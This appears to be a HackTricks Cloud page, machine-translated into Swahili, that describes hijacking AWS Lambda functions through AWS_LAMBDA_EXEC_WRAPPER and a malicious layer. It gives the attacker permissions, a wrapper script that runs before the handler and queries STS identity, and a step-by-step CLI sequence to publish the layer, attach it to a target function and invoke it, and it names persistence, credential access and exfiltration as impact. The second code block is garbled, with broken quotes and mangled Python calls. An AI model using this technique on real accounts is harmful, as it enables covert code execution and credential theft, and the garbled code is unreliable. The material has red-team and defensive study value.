AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
Tip
Jifunze na ufanye mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na ufanye mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na ufanye mazoezi ya Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Saidia HackTricks
- Angalia the subscription plans!
- Jiunge na đŹ Discord group au the telegram group au utufuate kwenye Twitter đŚ @hacktricks_live.
- Shiriki hacking tricks kwa kutuma PRs kwa HackTricks and HackTricks Cloud github repos.
Muhtasari
Tumia vibaya environment variable AWS_LAMBDA_EXEC_WRAPPER ili kutekeleza script ya wrapper inayodhibitiwa na mshambuliaji kabla runtime/handler inaanza. Toa wrapper kupitia Lambda Layer kwenye /opt/bin/htwrap, weka AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap, kisha uitishe function. Wrapper inaendesha ndani ya mchakato wa runtime wa function, inarithi role ya utekelezaji ya function, na hatimaye hufanya exec ya runtime halisi ili handler ya asili bado ifanye kazi kawaida.
Warning
Mbinu hii inatoa utekelezaji wa code katika Lambda lengwa bila kubadilisha msimbo wa chanzo au role na bila kuhitaji
iam:PassRole. Unahitaji tu uwezo wa kusasisha function configuration na kuchapisha/kuambatisha layer.
Idhini Zinazohitajika (mshambuliaji)
lambda:UpdateFunctionConfigurationlambda:GetFunctionConfigurationlambda:InvokeFunction(or trigger via existing event)lambda:ListFunctions,lambda:ListLayerslambda:PublishLayerVersion(same account) and optionallylambda:AddLayerVersionPermissionif using a cross-account/public layer
Wrapper Script
Weka wrapper kwenye /opt/bin/htwrap ndani ya layer. Inaweza kuendesha mantiki ya kabla ya handler na lazima itamalize na exec "$@" ili kuunganisha na runtime halisi.
#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"
Hatua za Shambulio (CLI)
Chapisha layer, ambatisha kwa function lengwa, weka wrapper, itisha
```bash # Vars REGION=us-east-1 TARGET_FN=1) Package wrapper at /opt/bin/htwrap
mkdir -p layer/bin cat > layer/bin/htwrap <<âWRAPâ #!/bin/bash set -euo pipefail echo â[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGIONâ python3 - <<âPYâ import boto3, json print(â[ht] sts identity:â, import(âjsonâ).dumps(import(âboto3â).client(âstsâ).get_caller_identity())) PY exec â$@â WRAP chmod +x layer/bin/htwrap (zip -qr htwrap-layer.zip layer)
2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version
âlayer-name ht-exec-wrapper
âzip-file fileb://htwrap-layer.zip
âcompatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8
âquery LayerVersionArn âoutput text âregion â$REGIONâ)
echo â$LAYER_ARNâ
3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration
âfunction-name â$TARGET_FNâ
âlayers â$LAYER_ARNâ
âenvironment âVariables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}â
âregion â$REGIONâ
Wait for update to finish
until [ â$(aws lambda get-function-configuration âfunction-name â$TARGET_FNâ âquery LastUpdateStatus âoutput text âregion â$REGIONâ)â = âSuccessfulâ ]; do sleep 2; done
4) Invoke and verify via CloudWatch Logs
aws lambda invoke âfunction-name â$TARGET_FNâ /tmp/out.json âregion â$REGIONâ >/dev/null aws logs filter-log-events âlog-group-name â/aws/lambda/$TARGET_FNâ âlimit 50 âregion â$REGIONâ âquery âevents[].messageâ âoutput text
</details>
## Impact
- Utekelezaji wa msimbo kabla ya handler katika muktadha wa Lambda runtime kwa kutumia execution role ya function iliyopo.
- Hakuna mabadiliko yanayohitajika kwa code ya function au role; inafanya kazi katika managed runtimes za kawaida (Python, Node.js, Java, .NET).
- Inaruhusu persistence, credential access (mfano, STS), data exfiltration, na runtime tampering kabla handler inapoanza.
> [!TIP]
> Jifunze na ufanye mazoezi ya AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Jifunze na ufanye mazoezi ya GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Jifunze na ufanye mazoezi ya Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Saidia HackTricks</summary>
>
> - Angalia the [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Jiunge na** đŹ [**Discord group**](https://discord.gg/hRep4RUj7f) au the [**telegram group**](https://t.me/peass) au **utufuate** kwenye **Twitter** đŚ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Shiriki hacking tricks kwa kutuma PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

